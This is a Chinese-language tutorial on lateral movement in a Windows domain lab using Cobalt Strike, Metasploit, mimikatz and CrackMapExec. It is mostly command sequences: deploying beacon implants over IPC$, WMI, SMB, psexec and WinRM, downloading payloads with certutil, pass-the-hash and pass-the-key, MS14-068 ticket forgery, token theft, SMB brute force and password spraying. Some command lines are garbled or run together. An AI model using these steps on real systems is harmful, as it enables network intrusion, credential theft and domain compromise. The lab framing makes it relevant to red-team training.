常见CS内网横向教程
本文作者:XiDanEr
目录
实验环境
实验靶机
外网:
内网:
WIN7:192.168.91.128
SERVER2008:192.168.91.178
SERVER2019:192.168.91.133
IPC$横向 IPC$
是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139. 445
端口。 利用流程:
建立IPC$链接到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间,创建计划任务(at<2012.schtasks>2012)定时执行拷贝到的脚本
删除IPC$链接
Windows2012
以下系统可使用at命令创建计划任务执行木马上线
net use \\192.168.91.178\ipc$ "Abcd1234" /user:god.org\administrator copy beacon.exe \\192.168.91.178\c$ at \\192.168.91.178 15:47 c:\beacon.exe net use \IP\ipc$ /del
命令完成
成功上线
Windows2012
以上系统使用schtasks
命令创建计划任务执行木马上线
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 shell net use \\192.168.91.133\ipc$ "Abcd1234" /user:god.org\administrator shell copy beacon.exe \\192.168.91.133\c$ shell net use \\192.168.91.133\ipc$ /del 以远程系统的system用户运行c:\artifact.exe,计划任务的名字为test1 shell SCHTASKS /Create /S 192.168.91.133 /U administrator /P "Abcd1234" /SC ONCE /ST 14:56 /TN test1 /TR c:\artifact.exe /RU system shell SCHTASKS /Run /S 192.168.91.133 /U administrator /P "Abcd1234" /I /TN "test1" shell SCHTASKS /Delete /S 192.168.91.133 /U administrator /P "Abcd1234" /TN "test1" /F
常见问题:
1 2 3 4 5 6 7 8 5 :拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 51 :网络问题,Windows无法找到网络路径 53 :找不到网络路径,可能是IP地址错误. 目标未开机. 目标Lanmanserver服务未启动. 有防火墙等问题 67 :找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$ 1219 :提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除 1326 :账号密码错误 1792 :目标NetLogon服务未启动,连接域控常常会出现此情况 2242 :用户密码过期,目标有账号策略,强制定期更改密码
建立IPC失败的原因:
1 2 3 4 (a)目标系统不是NT或以上的操作系统 (b)对方没有打开IPC$共 享 (c)对方未开启139 . 445 端口,或者被防火墙屏蔽 (d)输出命令. 账号密码有错误
WMI横向 WMI
是通过135
端口进行利用,支持明文用户密码或者hash
的方式认证,并且该方法不会在目标日志系统留下痕迹。使用wmic远程执行命令,在远程系统中启动windows management lnstrumentation
服务(目标服务器需要开放135
端口,wmic
会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,wmic将无法进行连接。wmic命令没有回显
,需要使用ipc$和type命令来读取信息,若使用wmic执行恶意程序,将不会留下日志
。
利用前提和注意事项:
目标防火墙已事先允许135. 445端口连入,且本地杀软. EDR未拦截wmic.exe,cmd.exe等执行;
有些域账户只允许在指定的域内机器上才可登录,所以如果发现账密是对的,却会提示 “拒绝访问” ;
出现提示”无效句柄” 之类的错误,可尝试把目标ip换成机器名或者把机器名换成ip,ip或机器名用双引号包起来;
当提示 “RPC服务器不可用”时,有可能是目标防火墙导致135端口不通,或者目标系统没开135端口,要么就是被对方杀软或EDR拦截。
wmic wmic 无需上传第三方软件,利用系统内置程序,执行过程中有单模式执行和交互式执行 可以只执行命令,或者反弹shell
单命令执行,执行后无结果回显,可以将木马上传到该内网web目录下,然后调用文件下载命令上线cs:
1 2 3 4 5 6 7 shell wmic /node:192.168.91.178 /user:administrator /password:Abcd1234 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.91.1/beacon.exe c:/beacon.exe" shell wmic /node:192.168.91.178 /user:administrator /password:Abcd1234 process call create "c:\windws\system32\cmd.exe c:\beacon.exe"
也可以使用目标系统的cmd.exe执行一条命令,将执行结果保存在C盘的out.txt文件中,
1 2 wmic /node:192.168.91.178 /user:administrator /password:Abcd1234 process call create "cmd.exe /c ipconfig >c:\out.txt"
建立ipc$
后,使用type
命令读取执行结果:
1 2 net use \\192.168.91.178\ipc$ "Abcd1234" /user:administratortype \\192.168.91.178\C$\ip.txt
cscript 利用系统内置命令,可获取交互式shell
(无法在cs中使用,因运行成功后会一直进行反弹连接,导致卡bug
) 需上传 wmiexec.vbs
然后进入该服务器内进行执行。Wmiexec.vbs
脚本通过VBS调用WMI来模拟PsExec功能。wmiexec.vbs
可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell
提供账号密码,执行如下命令:
1 cscript //nologo wmiexec.vbs /shell 192.168.91.178 username password
缺点 :wmic和cscript都无法进行hash
传递
wmiexec 第三方软件 (交互式&单执行),此方法无法在cs
中执行后回显,但可利用文件下载命令上线cs:
1 2 3 4 5 6 shell c:\wmiexec ./administrator:Abcd1234@192.168.91.178 "cmd.exe /c certutil -urlcache -split -f http://192.168.91.1/beacon.exe c:/beacon.exe" shell c:\wmiexec ./administrator:Abcd1234@192.168.91.178 "cmd.exe /c c:/beacon.exe"
缺点:第三方软件会被杀软查杀
SMB横向 利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
psexec(windows官方工具) 可获取交互式shell使用工具为windows官方工具
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
1 PsExec64.exe \\192.168 .91.178 -u administrator -p Abcd1234 -s cmd
psexec(impacket套件) 先运行一下mimikatz
右键shell,Access->Run Mimikatz
1 shell psexec -hashes :c 780 c 78872 a102256e946 b3 ad238 f661 ./administrator@192 .168.91 .178
因cs无法操作交互式命令,也可引用MSF
回显反弹接受会话 CS创建监听
CS 添加listener 左上角,cobalt strike -> listeners -> ADD
打开 msf
配置文件
1 2 3 4 5 use exploit/multi/handlerset payload /meterpreter/set set run
注意 不能使用 X64位的beacon.exe!
利用cs中的psexec上线内网不出网主机
Dump Hashes导出HASH
Beacon右键,Access–>Dump Hashes
或命令行中执行hashdump命令
。hashdump
必须在拥有adminstrators
权限的情况下才能执行。
在 View–>Credentials
中查看导出的信息
make_token
模拟指定用户
Access–>Make_token
或命令行中执行 make_token[DOMAIN\user][password]
命令。
如果已经获得了域用户的账号和密码,就可以使用此模块生成令牌,生成的令牌具有指定域用户的身份。
端口扫描
explore–>Port scan
,我们这里使用的是 SMB 横向,就扫描常见的 3389和445
通过端口扫描在View->Targets
中可以看到存活的主机
利用 PsExec 横向上线
在目标主机图表上右击,jump–>PsExec
或在命令行中执行 psexec[host][share][listener]
利用拿下的主机做跳板尝试拿下其他不出网主机
smbexec 外部:(交互式),和psexec一样
1 2 3 4 5 6 7 smbexec ./administrator:Abcd1234@192.168.91.178 smbexec god/administrator:Abcd1234@192.168.91.178 smbexec -hashes :c780c78872a102256e946b3ad238f661 ./administrator@192.168.91.178 smbexec -hashes :c780c78872a102256e946b3ad238f661 god/administrator@192.168.91.178smbexec -hashes god/administrator:c780c78872a102256e946b3ad238f661@192.168.91.178
PTH-mimikatz 使用cs
的mimikatz
进行pth
,发现执行后在目标主机上弹出cmd窗口,可利用进程窃取,直接在cs上进行远程操作。
1 2 mimikatz privilege::debug mimikatz sekurlsa::pth /user:administrator /domain:192.168.91.178 /ntlm:c780c78872a102256e946b3ad238f661
这时候 mimikatz
会打开一个system 权限的cmd窗口。我们查看目标进程,explore->process list
,选择最下方的 cmd.exe
进程
1 2 steal_token 3532 dir \\192.168.91.178 \c$
之后可复制文件,创建启动服务命令上线CS
1 2 3 4 shell net use \\192.168.91.178\c$ shell copy c:\beacon.exe \\192.168.91.178\c$ shell sc \\TALE2B52 create csshell binpath= "c:\beacon.exe" shell sc \\TALE2B52 start csshell
PTK-mimikatz 如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2
,安装补丁kb2871997的Win 7/2008r2/8/2012
等,可以使用AES keys代替NT hash来实现ptk攻击
pth :没打补丁用户都可以连接,打了补丁只能administrator连接
ptk :打了补丁才能用户都可以连接,采用aes256连接
首先使用mimikatz获取aes256
1 mimikatz sekurlsa::ekeys
攻击该域内其它主机,成功后返回cmd
1 mimikatz sekurlsa::pth /user:administrator /domain:god /aes256:d55913af88d543d2411109270ea36c1c29a71de7a3156d61cd6989feb0f1ae
PTT-ms14068 利用条件:
域控没有打MS14-068
的补丁(KB3011780)
拿下一台加入域的计算机
有这台域内计算机的域用户密码和Sid
MS14-068
是密钥分发中心(KDC)服务中的Windows漏洞。
它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
利用方法:
漏洞 MS14068
(web admin权限) 获取当前用户的SID值,并上传MS14-068漏洞利用文件,然后执行生成攻击域控主机的TGT
凭据
运行 mimikatz
抓取密码和SID
1 2 3 * Username : test1 * Domain : TEST.COM * Password : Abcd1234!@
生成认证证书
利用 ms14-068.exe
工具生成伪造的 kerberos
协议认证证书
1 2 3 MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr> ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域控ip
使用刚刚抓到的密码组合命令
1 2 shell C:\Users\test1\Desktop\ms14-068.exe -u test1@test.com -p Abcd1234!@
生成凭证
1 2 3 4 5 6 7 8 shell klist shell klist purge mimikatz kerberos::ptc TGT_test1@test.com.ccache
尝试读取域控主机C盘目录下文件。
Kerberos认证协议中仅支持对计算机名进行认证,无法使用ip地址认证。
对域内主机进行端口扫描后,得知计算机名
1 shell dir \\WIN -A5GPDCPJ7OT\c$
通过内网代理上线CS
因域控所处环境通常不出网,可以通过该主机
进行转发,上线CS 创建beacon_bind_tcp
端口为4444
的监听器,并生成木马。
然后将此监听器(内网代理)
生成的木马放到web主机,创建服务运行上线CS
1 2 3 4 5 6 7 8 9 10 11 12 shell net use \\WIN-A5GPDCPJ7OT\c$ sc \\WIN-A5GPDCPJ7OT create beacon1 binPath= "C:\beacon1.exe" start= auto sc [服务器名称] start 服务名称 [服务启动参数] sc \\WIN-A5GPDCPJ7OT start beacon1 shell sc \\WIN-A5GPDCPJ7OT delete dcbindshell
批量密码检测 在利用cs
进行横向移动时,发现如果主机和口令
数量足够多的话,比较影响效率,可以使用相关口令扫描工具进行密码喷射如超级弱口令扫描工具
、fscan
等,然后进行集中利用。
下面使用cs派生到msf
进行口令探测和利用:
首先cs建立msf监听器
1 2 3 4 5 use exploit/multi/handlerset payload /meterpreter/set set run
选择之后,msf就会立马收到CS送的(派生)shell权限。
1 2 3 4 5 $meterpreter > run get_local_subnets$meterpreter > run post/multi/manage/autoroute
1 2 3 4 5 6 7 8 9 10 $meterpreter > background$msf6 exploit(multi/handler) > route add 192.168.91.0 255.255.255.0 1$meterpreter > sessions 1$meterpreter > run autoroute -p
使用msf
批扫出smb
账号密码,这一步也可以使用 fscan
强烈推销 fscan
我滴超人!
设置代理链进入 首先,到已控目标内网机器的 Beacon 下把 socks 起起来:
1 2 beacon> getuid beacon> socks 1080
然后,通过 View → Proxy Pivots
,复制生成的 MSF
代理链接。
本地启动 MSF
,挂着上面生成的代理链接,即可直接对目标内网进行各种探测:
SMB 探活扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $msf > setg Proxies socks4:1xx.1xx.57.70:1080 msf > setg ReverseAllowProxy true msf > use auxiliary/scanner/smb/smb_version msf > set rhosts 192.168.91.0/24 msf > set threads 10 msf > run
SMB 批量爆破 1 2 3 4 5 6 7 use auxiliary/scanner/smb/smb_loginset threads 10set rhosts 192.168.91.0/24set smbdomain test set user_file /root/user.txt set pass_file /root/pass.txt run
满长时间爆破后最终爆破到了账号密码
直接利用已知账号密码 1 2 3 4 5 6 use exploit/windows/smb/psexecset payload windows/meterpreter/bind_tcpset RHOSTS 192.168.91.11set smbuser administratorset smbpass Abcd1234!@ run
使用proxychains配合使用CrackMapExec
域渗透工具:CrackMapExec
kali自带
其他环境安装
1 2 3 4 5 6 7 8 9 10 11 12 最方便: apt-get install crackmapexec 避免有坑: apt-get install -y libssl-dev libffi-dev python-dev build-essential pip install --user pipenv git clone https://github.com/byt3bl33d3r/CrackMapExec.gitcd CrackMapExec && pipe install -r requirements.txt pipenv shell python setup.py install
语句格式
基本信息探测,可选协议有:'smb', 'winrm', 'ldap', 'mssql', 'ssh'
1 2 3 4 5 6 7 8 9 10 11 12 13 基本探测 crackmapexec smb test.com crackmapexec smb 192.168.91.0/24 crackmapexec smb 192.168.91.0-77 192.168.91.0-20 crackmapexec smb ~/ip.txt 携带认证信息 crackmapexec smb 192.168.91.0 -u administrator -p 'Abcd1234' crackmapexec smb 192.168.91.0 -u='-administrator' -p='-Abcd1234' 执行命令 crackmapexec smb 192.168.3.144 -u administrator -p 'Abcd1234' -x whoami
协议探测
1 2 3 ┌──(root💀kali)-[/home/kali] └─ SMB 192.168.91.11 445 WIN-A5GPDCPJ7OT [*] x64 (name:WIN-A5GPDCPJ7OT) (domain:test.com) (signing:True) (SMBv1:True)
常见命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --sessions crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --shares crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --disk crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --loggedon-users crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --rid-brute crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --users crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --groups crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --local-groups crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --pass-pol
开启msf代理 1 2 3 4 $meterpreter > background$msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy$msf6 auxiliary(server/socks_proxy) > set SRVPORT 2233$msf6 auxiliary(server/socks_proxy) > run
更改proxychains.conf
1 vim /etc/ proxychains.conf
密码喷射
1 proxychains crackmapexec smb 192.168.91.1-127 -u administrator -p 'Abcd1234!@#'
WINRM横向 WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 条件:
双方都启用的Winrm rs的服务
目标系统防火墙已事先允许5985(HTTP SOAP)或5986(HTTPS SOAP)端口连入
使用此服务需要管理员级别凭据。
Windows2008以下版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。
开启配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 winrm enumerate winrm/config/listener winrm quickconfig winrm e winrm/config/listener winrm set winrm/config/service/auth @{Basic="true" } winrm set winrm/config/service @{AllowUnencrypted="true" }
开启攻击
攻击机开启:
可通过cs内置端口
扫描5985
来判断目标主机是否开启WinRM
使用ps
命令查看开启情况
1 powershell Get-WmiObject -Class win32_service | Where-Object {$_ .name -like "WinRM" }
执行命令
1 winrs -r:192.168.91.178 -u:192.168.91.178\administrator -p:Abcd1234!@
远程连接时可能会遇到以下错误
1 2 错误编号:-2133108526 Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。
在攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可
1 winrm set winrm/config/Client @{TrustedHosts="*" }
上线CS:
1 2 winrs -r:192.168.91.178 -u:192.168.91.178 \administrator -p:Abcd1234!@ winrs -r:192.168.91.178 -u:192.168.91.178 \administrator -p:Abcd1234!@
也可以使用cs内置插件
参考: